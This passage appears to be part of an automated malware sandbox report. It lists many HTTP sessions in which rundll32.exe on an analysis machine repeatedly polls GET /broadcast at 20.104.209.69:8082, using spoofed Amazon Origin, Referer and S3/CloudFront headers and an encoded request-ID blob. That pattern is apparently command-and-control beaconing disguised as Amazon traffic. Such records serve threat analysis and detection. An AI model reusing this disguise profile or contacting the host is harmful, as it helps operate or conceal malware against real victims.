Jan 8, 2023 16:08:10.592973948 CET	892	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.6	49864	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:10.858711004 CET	894	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:10.977116108 CET	895	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:02 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.6	49865	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:11.241714001 CET	898	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:11.359230042 CET	898	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:02 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.6	49866	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:11.624924898 CET	901	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:11.743307114 CET	902	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.6	49867	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:12.037856102 CET	904	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:12.156272888 CET	905	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.6	49868	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:12.426503897 CET	907	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:12.544842958 CET	908	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49715	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:03.728517056 CET	410	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:03.848304033 CET	410	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.6	49869	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:12.814584017 CET	911	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:12.935275078 CET	911	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.6	49870	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:13.206224918 CET	914	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:13.324553967 CET	914	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.6	49871	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:13.595042944 CET	917	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:13.713860989 CET	917	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.6	49872	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:13.974025011 CET	920	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:14.091489077 CET	920	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.6	49873	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:14.363117933 CET	923	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:14.482229948 CET	924	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.6	49874	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:14.761229038 CET	926	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:14.879746914 CET	927	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.6	49875	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:15.159930944 CET	930	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:15.277968884 CET	930	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.6	49876	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:15.560224056 CET	933	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:15.678720951 CET	933	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.6	49877	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:15.944256067 CET	936	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:16.062809944 CET	936	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.6	49878	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:16.328811884 CET	939	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:16.447330952 CET	940	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49716	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:04.102211952 CET	413	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:04.220477104 CET	414	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.6	49879	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:16.719861984 CET	942	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:16.838840961 CET	943	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.6	49880	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:17.117400885 CET	946	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:17.235529900 CET	946	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.6	49881	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:17.573997021 CET	949	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:17.692478895 CET	949	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.6	49882	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
